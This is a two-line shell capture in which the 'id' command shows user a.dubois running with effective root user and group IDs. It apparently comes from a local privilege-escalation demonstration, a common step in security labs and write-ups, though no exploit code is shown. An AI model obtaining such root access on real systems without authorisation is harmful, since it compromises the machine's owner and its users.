bash-5.2# id
uid=1001(a.dubois) gid=1001(a.dubois) euid=0(root) egid=0(root) groups=1001(a.dubois)